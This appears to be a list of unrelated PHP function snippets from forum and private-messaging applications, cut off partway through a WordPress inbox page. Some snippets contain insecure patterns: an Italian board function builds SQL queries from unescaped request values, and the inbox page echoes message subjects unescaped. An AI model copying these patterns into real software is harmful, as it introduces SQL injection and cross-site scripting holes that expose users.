"function atu_showthread()\n{\n\tglobal $mybb, $atujq, $atujs, $atu_link, $tid, $fid;\n\n\tif(can_auto_update())\n\t{\n\t\n\t\t$atujq = '<script src=\"http://code.jquery.com/jquery-latest.js\"></script>\n\t<script>\n\tjQuery.noConflict();\n\t</script>';\n\t\t\n\t\t$atujs = '<script type=\"text/javascript\">\n\tvar time = '.TIME_NOW.';\n\tvar refreshId = setInterval(function()\n\t{\n\t\tjQuery.get(\\'getnewposts.php?tid='.$tid.'}×tamp=\\'+time,\n\t\tfunction(result) {\n\t\t\tjQuery(\\'#autorefresh\\').append(\\'<span style=\"display: none;\" class=\"new-post\" name=\"post[]\">\\'+result+\\'</span>\\');\n\t\t\tjQuery(\\'#autorefresh\\').find(\".new-post:last\").fadeIn(\\'slow\\');\n\t\t});\n\n\t\ttime = Math.round((new Date()).getTime() / 1000);\n\n\t}, '.intval($mybb->settings['atu_refreshrate']).');\n\t</script>';\n\t} else {\n\t\t$atujq = '';\n\t\t$atujs = '';\n\t}\n\n\tif($mybb->usergroup['cancp'])\n\t{\n\t\t$on = true;\n\t\t$display = true;\n\t\t\n\t\tif($mybb->settings['atu_tf_wlbl'] != 'all')\n\t\t{\n\t\t\t$perms = explode(\"|\",$mybb->settings['atu_tf_wlbl']);\n\t\t\t$ids = explode(\",\",$perms[2]);\n\t\t\t\n\t\t\tif($perms[0] == 'threads')\n\t\t\t{\n\t\t\t\t$thread_in_list = in_array($tid,$ids);\n\t\t\t\t\n\t\t\t\tif($thread_in_list && $perms[1] == 'blacklist')\n\t\t\t\t{\n\t\t\t\t\t$on = false;\n\t\t\t\t} elseif(!$thread_in_list && $perms[1] == 'whitelist') {\n\t\t\t\t\t$on = false;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$display = false;\n\t\t\t}\n\t\t}\n\t\tif($display)\n\t\t{\n\t\t\tif($on)\n\t\t\t{\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&toggle_atu=true&my_post_key='.$mybb->post_code.'\">Turn off auto thread updating in this thread</a><br />';\n\t\t\t} else {\n\t\t\t\t$atu_link = '<a href=\"showthread.php?tid='.$tid.'&toggle_atu=true&my_post_key='.$mybb->post_code.'\">Turn on auto thread updating in this thread</a><br />';\n\t\t\t}\n\t\t}\n\t}\n}",
"public function index()\n {\n $uid = Auth::user()->id;\n $messages = Msgs::where('to', $uid);\n return view('msgs.index')->with(\n [\n 'msgs' => $messages,\n ]);\n }",
"public function showReceivedMessages()\n {\n $messageService = $this->get(MessageService::class);\n $messages = $messageService->showReceivedMessages($this->getUser());\n\n return $this->render('message/receivedMessages.html.twig', array(\n 'messages' => $messages,\n ));\n\n }",
"public function an_authenticated_user_can_participate_in_forum_threads()\n {\n //given we have an authernticated user\n $this->be($user = factory('App\\User')->create());\n // and an existing threads\n $thread = factory('App\\Thread')->create();\n // when a user adds a reply to thread\n $reply = factory('App\\Reply')->make();\n $this->post('/threads/'.$thread->id.'/replies', $reply->toArray());\n // then their reply should be visible in the page.\n $this->get($thread->path())\n -> assertSee($reply->body);\n }",
"function messages_notifier() {\n\tif (elgg_is_logged_in()) {\n\t\t$class = \"elgg-icon elgg-icon-mail\";\n\t\t$text = \"<span class='$class'></span>\";\n\t\t$tooltip = elgg_echo(\"messages\");\n\t\t\n\t\t// get unread messages\n\t\t$num_messages = (int)messages_count_unread();\n\t\tif ($num_messages != 0) {\n\t\t\t$text .= \"<span class=\\\"messages-new\\\">$num_messages</span>\";\n\t\t\t$tooltip .= \" (\" . elgg_echo(\"messages:unreadcount\", array($num_messages)) . \")\";\n\t\t}\n\n\t\telgg_register_menu_item('topbar', array(\n\t\t\t'name' => 'messages',\n\t\t\t'href' => 'messages/inbox/' . elgg_get_logged_in_user_entity()->username,\n\t\t\t'text' => $text,\n\t\t\t'priority' => 600,\n\t\t\t'title' => $tooltip,\n\t\t));\n\t}\n}",
"public function index(Request $request)\n {\n $threads = Thread::with('lastReply')\n ->filter($request)\n ->orderByDesc('last_posted_at')\n ->paginate(25);\n\n return Inertia::render('forum/Index', [\n 'threads' => $threads,\n 'filters' => $request->all('search'),\n ])->withViewData([\n 'title' => 'Forum',\n 'description' => \"Les forums communautaires sont un endroit pour discuter de tout ce qui concerne le développement / le design. Laravel Cameroun offrira l'un des plus grands forum francophone sur Laravel & PHP\",\n 'openGraphURL' => url(\"/forum\")\n ]);\n }",
"public function adminMessageList()\n {\n\n $users=[];\n $em = $this->getDoctrine()->getManager();\n $messageRepository = $em->getRepository(Message::class);\n $userRepository = $em->getRepository(User::class);\n\n $Ids = $messageRepository->findByDistinct();\n foreach ($Ids as $id)\n {\n $users[] = $userRepository->findOneBy(array('id'=>$id));\n }\n return $this->render(\"admin/message/list.html.twig\",\n array(\n 'users' => $users,\n ));\n }",
"private function fetchThreads() {\n\t\t\t$query = '';\n\t\t\t$boards = listBoards(true);\n\n\t\t\tforeach ($boards as $b) {\n\t\t\t\tif (in_array($b, $this->settings['exclude']))\n\t\t\t\t\tcontinue;\n\t\t\t\t// Threads are those posts that have no parent thread\n\t\t\t\t$query .= \"SELECT *, '$b' AS `board` FROM ``posts_$b`` \" .\n\t\t\t\t\t\"WHERE `thread` IS NULL UNION ALL \";\n\t\t\t}\n\n\t\t\t$query = preg_replace('/UNION ALL $/', 'ORDER BY `bump` DESC', $query);\n\t\t\t$result = query($query) or error(db_error());\n\n\t\t\treturn $result->fetchAll(PDO::FETCH_ASSOC);\n\t\t}",
"public function get_message_strings() {\n foreach($this->messages as $singleMessage) {\n \n }\n }",
"public function actionIndex()\n {\n $dataProvider=Message::findAll([\n 'uid'=>Yii::$app->user->identity->id,\n 'is_read'=>'0',\n 'is_del'=>'0'\n ]);\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"function xthreads_info() {\r\n\tglobal $lang, $mybb, $plugins;\r\n\t$lang->load('xthreads');\r\n\t\r\n\t$info = array(\r\n\t\t'name' => '<span style=\"color: #008000;\">'.$lang->xthreads_name.'</span>',\r\n\t\t'description' => $lang->xthreads_desc,\r\n\t\t'website' => 'http://mybbhacks.zingaburga.com/showthread.php?tid=288',\r\n\t\t'author' => 'ZiNgA BuRgA',\r\n\t\t'authorsite' => 'http://mybbhacks.zingaburga.com/',\r\n\t\t'version' => xthreads_format_version_number(XTHREADS_VERSION),\r\n\t\t'compatibility' => '14*,15*,16*,17*,18*',\r\n\t\t'guid' => ''\r\n\t);\r\n\tif(is_object($plugins)) {\r\n\t\t$info = $plugins->run_hooks('xthreads_info_needs_moar_pimpin', $info);\r\n\t}\r\n\tif(!empty($mybb->input['action']) || !isset($GLOBALS['table']) || !is_object($GLOBALS['table'])) // not main plugins page\r\n\t\treturn $info;\r\n\tif($mybb->version_code >= 1700) return $info;\r\n\t\r\n\tstatic $done = false;\r\n\tif(!$done) {\r\n\t\t$done = true;\r\n\t\t// let's have some fun here\r\n\t\tcontrol_object($GLOBALS['table'], '\r\n\t\t\tfunction construct_row($extra = array()) {\r\n\t\t\t\tstatic $done=false;\r\n\t\t\t\tif(!$done) {\r\n\t\t\t\t\txthreads_info_no_more_fun();\r\n\t\t\t\t\t$done = true;\r\n\t\t\t\t}\r\n\t\t\t\treturn parent::construct_row($extra);\r\n\t\t\t}\r\n\t\t');\r\n\t\t$lang->__activate = $lang->activate;\r\n\t\t$lang->__deactivate = $lang->deactivate;\r\n\t\t$lang->__install_and_activate = $lang->install_and_activate;\r\n\t\t$lang->__uninstall = $lang->uninstall;\r\n\t\t\r\n\t\t$imgcode = '<![if gte IE 8]><img src=\"data:image/png;base64,{data}\" alt=\"\" style=\"vertical-align: middle;\" /><![endif]> ';\r\n\t\t$lang->install_and_activate = str_replace('{data}', xthreads_install_img_install(), $imgcode).'<span style=\"color: #008000;\">'.$lang->xthreads_install_and_activate.'</span>';\r\n\t\t$lang->activate = str_replace('{data}', xthreads_install_img_activate(), $imgcode).'<span style=\"color: #FF8000;\">'.$lang->activate.'</span>';\r\n\t\t$lang->deactivate = str_replace('{data}', xthreads_install_img_deactivate(), $imgcode).'<span style=\"color: #20A0A0;\">'.$lang->deactivate.'</span>';\r\n\t\t$lang->uninstall = str_replace('{data}', xthreads_install_img_uninstall(), $imgcode).'<span style=\"color: #FF0000;\">'.$lang->uninstall.'</span>';\r\n\t}\r\n\treturn array(\r\n\t\t'name' => '</strong><small style=\"font-family: Tempus Sans ITC, Lucida Calligraphy, Harrington, Comic Sans MS, Some other less-readable goofy font, Serif\"><a href=\"'.$info['website'].'\">'.$info['name'].'</a> v'.$info['version'].', '.$lang->xthreads_fun_desc.'<!-- ',\r\n\t\t'author' => '--><i><small>',\r\n\t\t'compatibility' => $info['compatibility'],\r\n\t\t'guid' => $info['guid']\r\n\t);\r\n}",
"public function show($id)\n {\n //\n $thread = Thread::find($id);\n return view('threads.show', compact('thread'));\n }",
"public function get_topics()\n {\n return $this->connection->query_select_value('threads', 'COUNT(*)');\n }",
"function ghost_threads_get()\n\t{\n\t\t$this->check_board();\n\n\t\tif ($this->get('page'))\n\t\t{\n\t\t\tif (!is_natural($this->get('page')))\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __(\"Invalid value for 'page'.\")), 404);\n\t\t\t}\n\t\t\telse if ($this->get('page') > 500)\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __('Unable to return more than 500 pages.')), 404);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$page = intval($this->get('page'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$page = 1;\n\t\t}\n\n\n\t\tif ($this->get('per_page'))\n\t\t{\n\t\t\tif (!is_natural($this->get('per_page')))\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __(\"Invalid value for 'per_page'.\")), 404);\n\t\t\t}\n\t\t\telse if ($this->get('per_page') > 50)\n\t\t\t{\n\t\t\t\t$this->response(array('error' => __('Unable to return more than 50 threads per page.')),\n\t\t\t\t\t404);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$per_page = intval($this->get('per_page'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$per_page = 25;\n\t\t}\n\n\t\t$page = intval($page);\n\n\t\t$posts = $this->post->get_latest_ghost(get_selected_radix(), $page, array('per_page' => $per_page));\n\n\t\tif (count($posts) > 0)\n\t\t{\n\t\t\t$this->response($posts, 200); // 200 being the HTTP response code\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// no comics\n\t\t\t$this->response(array('error' => __('Unable to locate any threads.')), 404);\n\t\t}\n\t}",
"public function subscribeThreads($userid, $threads);",
"function show_single_message($id, $board){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\t\t$body=\"<script language=\\\"javascript\\\" type=\\\"text/javascript\\\">\n function do_delete(url){\n if(!confirm('Vuoi davvero cancellare il messaggio?'))\n return;\n\n window.location.href=url;\n }\n </script>\n\t\t\";\n\t\t$indice=indice_board();\n\t\t$maxmsg=10;\n\t\t$navigator='';\n\t\t\n\t\tif(isset($_GET['startfrom'])){\n\t\t\t$limit=$_GET['startfrom'];\n\t\t}\n\t\telse\n\t\t\t$limit=0;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT count(*) AS total FROM {$prefix}boardmsg WHERE id='{$id}' OR father='{$id}'\");\n\t\t$row = $db->Do_Fetch_Assoc($query);\n\t\t$total = $row['total'];\n\n\t\t\n\t\t\n\t\tif($total > $maxmsg){\n\t\t\t$i=0;\n\t\t\twhile($total > 0){\n\t\t\t\tif((isset($_GET['startfrom']) && $_GET['startfrom'] == $i) || (!isset($_GET['startfrom']) && $i == 0))\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&message=$id&startfrom=$i\\\"><b>[\".($i+1).\"]</b></a> \";\n\t\t\t\telse\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&message=$id&startfrom=$i\\\">\".($i+1).\"</a> \";\n\t\t\t\t$i++;\n\t\t\t\t$total -= $maxmsg;\n\t\t\t\t\n\t\t\t}\n\t\t\t$navigator.=\"<br>\";\n\t\t}\n\t\t\n\t\t\t\n\t\t$limit_min = $limit * $maxmsg;\n\t\t$limit_max = $maxmsg;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT \tb.id AS id,\n\t\t\t\t\t\tb.father AS father,\n\t\t\t\t\t\tb.user AS user,\n\t\t\t\t\t\tb.body AS body,\n\t\t\t\t\t\tb.board AS board,\n\t\t\t\t\t\tb.time AS time,\n\t\t\t\t\t\tb.replies AS replies,\n\t\t\t\t\t\tu.avatar AS avatar,\n\t\t\t\t\t\tb.anonymous as anonymous\n\t\t\t\t\tFROM {$prefix}boardmsg b, {$prefix}users u\n\t\t\t\t\tWHERE\tb.user = u.username AND\n\t\t\t\t\t\t(b.id='{$id}' OR father='{$id}')\n\t\t\t\t\t\tORDER BY time DESC LIMIT $limit_min, $maxmsg\");\n\t\t\n\t\t//Head message\n\t\t$unread='';\n\t\t$unreads = get_unread();\n\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<a href=./index.php?act=boards&send=\".$board['id'].\"&reply=\".$id.\">Replica</a><br>\";\n\t\t}\n\t\t$body.=\"<a href=\\\"index.php?act=boards&board=\".$board['id'].\"\\\">Torna alla board</a><br>\";\n\t\t\n\t\t$body .= $navigator;\n\t\t$object = \"\";\n\t\t$url_regexp = \"/http(s)?:\\/\\/[^[:space:]]+/i\";\n\n\t\t$body .=\"<table width=\\\"100%\\\" cellspacing=0>\";\n\n\t\twhile($row = $db->Do_Fetch_Assoc($query)){\n\t\t\t$avatar=\"<br>\".date(\"j/n/Y G:i\", $row['time']);\n\t\t\tif($row['avatar']!=''){\n\t\t\t\t$avatar.=\"<br><img src=\\\"$row[avatar]\\\" width=\\\"100\\\" height=\\\"100\\\">\";\n\t\t\t}\n\t\t\t\n\t\t\t$unread='';\n\t\t\tif(isset($unreads[$row['id']])){\n\t\t\t\t$unread = \"<b>(Nuovo)</b>\";\n\t\t\t\t$db->DoQuery(\"DELETE FROM {$prefix}boardunread WHERE id='{$row['id']}' AND user='{$x7s->username}'\");\n\t\t\t}\n\t\t\t\n\t\t\t$nb = board_msg_split($row['body']);\n\t\t\t$msg = $nb[0];\n\t\t\t$object = $nb[1];\n\n\t\t\t$user = \"<a onClick=\\\"\".\n\t\t\t\tpopup_open(500, 680, \"index.php?act=sheet&pg={$row['user']}\",\n\t\t\t\t\t\t'sheet_other').\"\\\" >\".$row['user'].\"</a>\".$avatar;\n\n\t\t\tif ($row['anonymous']) {\n\t\t\t\tif (checkIfMaster()) {\n\t\t\t\t\t$user = \"<a onClick=\\\"\".\n\t\t\t\t\t\tpopup_open(500, 680, \"index.php?act=sheet&pg={$row['user']}\",\n\t\t\t\t\t\t\t\t'sheet_other').\"\\\" >\".$row['user'].\"</a><br>(anonimo)\".$avatar;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$user = \"Anonimo\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$body.=\"<tr><td class=\\\"msg_row\\\"><b>Utente:</b> $user</td><td class=\\\"msg_row\\\"><b>Oggetto:</b> \".$object.\" \".$unread;\n\t\t\t$msgid=$row['id'];\n\t\t\t$user=$row['user'];\n\t\t\t\n\t\t\tif(($user == $x7s->username && !$board['readonly']) || checkIfMaster()){\n\t\t\t\t$body .=\" <a href=./index.php?act=boards&send=\".$board['id'].\"&modify=\".$msgid.\">[Modify]</a>\";\n\t\t\t}\n\t\t\tif(checkIfMaster()){\n\t\t\t\t$body .=\" <a href=\\\"#\\\" onClick=\\\"javascript: do_delete('./index.php?act=boards&delete=\".$msgid.\"')\\\">[Delete]</a>\";\n\t\t\t}\n\n\t\t\t$msg = preg_replace($url_regexp, '<a href=\"\\\\0\" target=\"_blank\">\\\\0</a>', $msg);\t\n\t\t\t$body.= \"<br><br>\".$msg.\"<br><br><br><br></td></tr>\\n\";\n\t\t}\n\n\t\t$body .= \"</table>\";\n\t\t\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<br><br><a href=./index.php?act=boards&send=\".$board['id'].\"&reply=\".$id.\">Replica</a><br>\";\n\t\t}\n\t\t\n\t\t$body.=\"<a href=\\\"index.php?act=boards&board=\".$board['id'].\"\\\">Torna alla board</a><br>\";\n\t\t\n\t\t$body.=$navigator;\n\t\t$head = \"Board \".$board['name'].\" messaggio: \".$object;\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}",
"public function index()\n {\n $messages = Message::where('receiver_id','=',Auth::user()->id)->paginate(10);\n\n return view('messages.index')->with('messages', $messages);\n }",
"public function getTopThreads()\n {\n $db = DB::conn();\n $threads = array();\n \n $rows = $db->rows('SELECT t.id, t.user_id, t.title, u.username, t.created, t.last_modified, u.usertype, \n COUNT(c.id) AS thread_count FROM comment c \n INNER JOIN thread t ON c.thread_id=t.id \n INNER JOIN user u ON t.user_id=u.id \n GROUP BY t.id ORDER BY COUNT(c.id) DESC, t.last_modified DESC');\n\n foreach ($rows as $row) {\n $threads[] = new Thread($row);\n }\n\n return $threads;\n }",
"public function index()\n {\n $table = TableRegistry::get('users');\n $user= $this->Auth->user('id');\n\n $messages = $this->paginate(\n $this->Messages->find()\n ->where(['to_user' => $user])\n ->andWhere(['send' => 0])\n ->order(['created' => 'DESC']));\n\n $this->set(compact('table','user','messages'));\n $this->set('_serialize', ['messages']);\n }",
"public function list()\n {\n $jabatan = Auth::user()->jabatan;\n $user_id = Auth::user()->id;\n $messages = Message::where('user_id', $user_id)->latest()->paginate(10);\n $skipped = ($messages->currentPage() * $messages->perPage()) - $messages->perPage();\n if ($jabatan == 'admin') {\n return view('layouts.admin.message.listMessage', compact('messages', 'skipped'));\n } else {\n return view('layouts.user.message', compact('messages', 'skipped'));\n }\n }",
"function messaging_inbox_page_output() {\n\tglobal $wpdb, $wp_roles, $current_user, $user_ID, $current_site, $messaging_official_message_bg_color, $messaging_max_inbox_messages, $messaging_max_reached_message, $wp_version;\n\n\tif (isset($_GET['updated'])) {\n\t\t?><div id=\"message\" class=\"updated fade\"><p><?php echo stripslashes(sanitize_text_field($_GET['updatedmsg'])) ?></p></div><?php\n\t}\n\n\t$action = isset($_GET[ 'action' ]) ? $_GET[ 'action' ] : '';\n\n\techo '<div class=\"wrap\">';\n\tswitch( $action ) {\n\t\t//---------------------------------------------------//\n\t\tdefault:\n\t\t\tif ( isset($_POST['Remove']) ) {\n\t\t\t\tmessaging_update_message_status(intval($_POST['mid']),'removed');\n\t\t\t\techo \"\n\t\t\t\t<SCRIPT LANGUAGE='JavaScript'>\n\t\t\t\twindow.location='admin.php?page=messaging&updated=true&updatedmsg=\" . urlencode(__('Message removed.', 'messaging')) . \"';\n\t\t\t\t</script>\n\t\t\t\t\";\n\t\t\t}\n\t\t\tif ( isset($_POST['Reply']) ) {\n\t\t\t\techo \"\n\t\t\t\t<SCRIPT LANGUAGE='JavaScript'>\n\t\t\t\twindow.location='admin.php?page=messaging&action=reply&mid=\" . intval($_POST['mid']) . \"';\n\t\t\t\t</script>\n\t\t\t\t\";\n\t\t\t}\n\t\t\t$tmp_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %d AND message_status != %s\", $user_ID, 'removed'));\n\t\t\t$tmp_unread_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %d AND message_status = %s\", $user_ID, 'unread'));\n\t\t\t$tmp_read_message_count = $wpdb->get_var($wpdb->prepare(\"SELECT COUNT(*) FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %d AND message_status = %s\", $user_ID, 'read'));\n\t\t\t?>\n <h2><?php _e('Inbox', 'messaging') ?> <a class=\"add-new-h2\" href=\"admin.php?page=messaging_new\"><?php _e('New Message', 'messaging') ?></a></h2>\n <?php\n\t\t\tif ($tmp_message_count == 0){\n\t\t\t?>\n <p><?php _e('No messages to display', 'messaging') ?></p>\n <?php\n\t\t\t} else {\n\t\t\t\t?>\n\t\t\t\t<h3><?php _e('Usage', 'messaging') ?></h3>\n <p>\n\t\t\t\t<?php _e('Maximum inbox messages', 'messaging') ?>: <strong><?php echo $messaging_max_inbox_messages; ?></strong>\n <br />\n <?php _e('Current inbox messages', 'messaging') ?>: <strong><?php echo $tmp_message_count; ?></strong>\n </p>\n <?php\n\t\t\t\tif ($tmp_message_count >= $messaging_max_inbox_messages){\n\t\t\t\t?>\n <p><strong><center><?php _e($messaging_max_reached_message, 'messaging') ?></center></strong></p>\n\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t\tif ($tmp_unread_message_count > 0){\n\t\t\t\t?>\n\t\t\t\t<h3><?php _e('Unread', 'messaging') ?></h3>\n\t\t\t\t<?php\n\t\t\t\t$query = $wpdb->prepare(\"SELECT * FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %s AND message_status = %s ORDER BY message_ID DESC\", $user_ID, 'unread');\n\t\t\t\t$tmp_messages = $wpdb->get_results( $query, ARRAY_A );\n\t\t\t\techo \"\n\t\t\t\t<table cellpadding='3' cellspacing='3' width='100%' class='widefat'>\n\t\t\t\t<thead><tr>\n\t\t\t\t<th scope='col'>\" . __(\"From\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Subject\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Recieved\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Actions\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'></th>\n\t\t\t\t<th scope='col'></th>\n\t\t\t\t</tr></thead>\n\t\t\t\t<tbody id='the-list'>\n\t\t\t\t\";\n\t\t\t\t$class = '';\n\t\t\t\tif (count($tmp_messages) > 0){\n\t\t\t\t\t$class = ('alternate' == $class) ? '' : 'alternate';\n\t\t\t\t\tforeach ($tmp_messages as $tmp_message){\n\t\t\t\t\tif ($tmp_message['message_official'] == 1){\n\t\t\t\t\t\t$style = \"'style=background-color:\" . $messaging_official_message_bg_color . \";'\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$style = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t//=========================================================//\n\t\t\t\t\techo \"<tr class='\" . $class . \"' \" . $style . \">\";\n\t\t\t\t\tif ($tmp_message['message_official'] == 1){\n\t\t\t\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\t$tmp_display_name = $wpdb->get_var($wpdb->prepare(\"SELECT display_name FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\tif ( $tmp_display_name == '' ) {\n\t\t\t\t\t\t\t$tmp_display_name = $tmp_username;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tmp_user_url = messaging_user_primary_blog_url($tmp_message['message_from_user_ID']);\n\t\t\t\t\t\tif ($tmp_user_url == ''){\n\t\t\t\t\t\t\techo \"<td valign='top'><strong>\" . $tmp_display_name . \"</strong></td>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<td valign='top'><strong><a href='\" . $tmp_user_url . \"'>\" . $tmp_display_name . \"</a></strong></td>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \"<td valign='top'><strong>\" . stripslashes($tmp_message['message_subject']) . \"</strong></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><strong>\" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'),$tmp_message['message_stamp']) . \"</strong></td>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\t$tmp_display_name = $wpdb->get_var($wpdb->prepare(\"SELECT display_name FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\tif ( $tmp_display_name == '' ) {\n\t\t\t\t\t\t\t$tmp_display_name = $tmp_username;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tmp_user_url = messaging_user_primary_blog_url($tmp_message['message_from_user_ID']);\n\t\t\t\t\t\tif ($tmp_user_url == ''){\n\t\t\t\t\t\t\techo \"<td valign='top'>\" . $tmp_display_name . \"</td>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<td valign='top'><a href='\" . $tmp_user_url . \"'>\" . $tmp_display_name . \"</a></td>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \"<td valign='top'>\" . stripslashes($tmp_message['message_subject']) . \"</td>\";\n\t\t\t\t\t\techo \"<td valign='top'>\" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'),$tmp_message['message_stamp']) . \"</td>\";\n\t\t\t\t\t}\n\t\t\t\t\tif ($tmp_message_count >= $messaging_max_inbox_messages){\n\t\t\t\t\t\techo \"<td valign='top'><a class='edit'>\" . __('View', 'messaging') . \"</a></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><a class='edit'>\" . __('Reply', 'messaging') . \"</a></td>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=view&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='edit'>\" . __('View', 'messaging') . \"</a></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=reply&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='edit'>\" . __('Reply', 'messaging') . \"</a></td>\";\n\t\t\t\t\t}\n\t\t\t\t\techo \"<td valign='top'><a href='admin.php?page=messaging&action=remove&mid=\" . $tmp_message['message_ID'] . \"' rel='permalink' class='delete'>\" . __('Remove', 'messaging') . \"</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\t\t\t\t\t$class = ('alternate' == $class) ? '' : 'alternate';\n\t\t\t\t\t//=========================================================//\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t\t</tbody></table>\n\t\t\t\t<?php\n\t\t\t\t}\n\t\t\t\t//=========================================================//\n\t\t\t\tif ($tmp_read_message_count > 0){\n\t\t\t\t?>\n\t\t\t\t<h3><?php _e('Read', 'messaging') ?></h3>\n\t\t\t\t<?php\n\t\t\t\t$query = $wpdb->prepare(\"SELECT * FROM \" . $wpdb->base_prefix . \"messages WHERE message_to_user_ID = %d AND message_status = %s ORDER BY message_ID DESC\", $user_ID, 'read');\n\t\t\t\t$tmp_messages = $wpdb->get_results( $query, ARRAY_A );\n\t\t\t\techo \"\n\t\t\t\t<table cellpadding='3' cellspacing='3' width='100%' class='widefat'>\n\t\t\t\t<thead><tr>\n\t\t\t\t<th scope='col'>\" . __(\"From\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Subject\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Recieved\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'>\" . __(\"Actions\", 'messaging') . \"</th>\n\t\t\t\t<th scope='col'></th>\n\t\t\t\t<th scope='col'></th>\n\t\t\t\t</tr></thead>\n\t\t\t\t<tbody id='the-list'>\n\t\t\t\t\";\n\t\t\t\t$class = '';\n\t\t\t\tif (count($tmp_messages) > 0){\n\t\t\t\t\t$class = ('alternate' == $class) ? '' : 'alternate';\n\t\t\t\t\tforeach ($tmp_messages as $tmp_message){\n\t\t\t\t\tif ($tmp_message['message_official'] == 1){\n\t\t\t\t\t\t$style = \"'style=background-color:\" . $messaging_official_message_bg_color . \";'\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$style = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t//=========================================================//\n\t\t\t\t\techo \"<tr class='\" . $class . \"' \" . $style . \">\";\n\t\t\t\t\tif ($tmp_message['message_official'] == 1){\n\t\t\t\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\t$tmp_display_name = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\tif ( $tmp_display_name == '' ) {\n\t\t\t\t\t\t\t$tmp_display_name = $tmp_username;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tmp_user_url = messaging_user_primary_blog_url($tmp_message['message_to_user_ID']);\n\t\t\t\t\t\tif ($tmp_user_url == ''){\n\t\t\t\t\t\t\techo \"<td valign='top'><strong>\" . $tmp_display_name . \"</strong></td>\";\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<td valign='top'><strong><a href='\" . $tmp_user_url . \"'>\" . $tmp_display_name . \"</a></strong></td>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\techo \"<td valign='top'><strong>\" . stripslashes($tmp_message['message_subject']) . \"</strong></td>\";\n\t\t\t\t\t\techo \"<td valign='top'><strong>\" . date_i18n(get_option('date_format') . ' ' . get_option('time_format'),$tmp_message['message_stamp']) . \"</strong></td>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$tmp_username = $wpdb->get_var($wpdb->prepare(\"SELECT user_login FROM \" . $wpdb->users . \" WHERE ID = %d\", $tmp_message['message_from_user_ID']));\n\t\t\t\t\t\t$tmp_display_name = $wpdb->get_var($wpdb->prepare(\"SELECT display_name FROM \" . 